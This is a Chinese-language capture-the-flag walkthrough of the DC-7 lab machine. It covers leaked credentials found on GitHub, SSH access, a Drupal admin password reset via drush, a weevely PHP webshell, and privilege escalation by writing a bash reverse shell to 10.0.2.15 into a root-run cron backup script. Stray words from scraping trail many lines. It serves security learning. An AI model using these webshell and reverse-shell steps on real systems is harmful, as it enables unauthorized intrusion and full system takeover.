/opt/scripts/backups.sh
由於權限不夠。#!/bin/bash
,不然沒法正常執行。==緣由不詳,還請各位大佬告知==進行端口探測,獲得只開放了兩個端口:2二、 80端口php
CMS爲Drupal8框架mysql
robots.txt 中透露了22個目錄,不知道有沒有線索。我不知道正常drupal8安裝後robots.txt內容是什麼樣git
msf一把梭:msf搜索相關漏洞,包含了exploit-db中的最新exp,無腦測試,都失敗了。github
到這一步懵逼了,可是能夠肯定仍是須要從80端口突破web
偷看一眼參考答案,須要在某個不存在的網站上搜索DC7USER(信息蒐集的重要性……),能夠找到一個github倉庫地址,根據README中的信息,得知該倉庫存放的是web的部分代碼。
sql
大體瀏覽一下,有幾個文件看起來和登陸有關。
shell
直接搜索「password」發現包含用戶名和密碼,並且看起來好像是數據庫的用戶名和密碼,可是nmap掃描結果中並無與數據庫相關的信息,推測是對外屏蔽了端口。數據庫
依次嘗試目前獲得的登陸接口:嘗試登陸drupal,失敗;測試登陸ssh,成功。apache
SSH:bootstrap
直接嘗試已知的提權辦法,腳本掃一掃、參考cheatsheet試試看,沒成功。
提示有個新郵件,ls查看當前目錄下有兩個文件,一個文本文件叫mbox,一個backups文件夾
查看當前進程確認有mysqld在運行,嘗試登陸,提示被禁止。嘗試運行sudo
命令,提示該命令不存在。
查看mbox
雖然很長,可是內容基本重複,能夠獲得的信息是存在一個定時任務,備份數據庫文件
scp -r dc7user@10.0.2.9:/home/dc7user/backups ./
複製文件到本地進行查看,可是是加密文件。
查看計劃任務腳本,獲得密碼
數據庫備份文件超大33M,感興趣的是裏面的users_field_data
表,能夠查詢到用戶名和加密後的密碼。另外查看了備份的web目錄,沒有寫死的用戶名和密碼。
至此再次陷入僵局
再次翻看參考答案:突破點在/opt/scripts/backups.sh
腳本上
backups.sh
查看權限能夠看出該腳本屬組並非root而是www-data,同時www-data有對該文件的徹底控制權
所以突破關鍵轉移到如何得到一個www-data組中的用戶,查詢發現www-data組中僅包含www-data用戶,www-data僅運行apache進程,所以須要經過web頁面得到shell才能獲取對backups.sh的修改權限。
查看腳本中的內容,發現執行了drush
命令
Drush是Drupal的命令行shell和Unix腳本接口。Drush Core附帶了許多有用的命令,可用於與模塊/主題/配置文件等代碼進行交互。
一開始執行drush命令的時候老是提示:
Command user-create needs a higher bootstrap level to run - you will need to invoke drush from a more functional Drupal environment to run this command.
須要切換到項目根目錄或Drupal中。沒仔細看文檔:經過在項目根目錄或Drupal中的任何位置鍵入「 drush」,能夠在Shell中運行Drush。另外,在這個腳本中也是先移動到web目錄,再執行備份任務。
經過drush user-password admin --password="new_pass"
修改admin密碼,成功登陸drupal。爲何dc7user用戶會有這個命令的控制權?還請大佬指點
成功登陸後臺
再一次歇逼,沒用過Drupal,知道這個時候應該想辦法寫一個php的webshell,可是搜了一圈也沒找到怎麼經過Web後臺寫WebShell。
再次翻看參考答案(我是真的菜啊)
爲drupal添加一個插件,讓它支持編輯PHP頁面
下載php-8.x-1.0.tar.gz,在後檯安裝並激活
weevely generate 123 ./shell.php
生成一個webshell,經過web寫入drupal
發佈以後使用weevely鏈接,能夠獲得一個www-data權限的shell
在計劃任務腳本後面添加反彈shell腳本,本機監聽等待回連,耐心等待,經過郵件的時間能夠得知該腳本每15分鐘執行一次。
echo "bash -i >& /dev/tcp/10.0.2.15/7777 0>&1" > /opt/scripts/backups.sh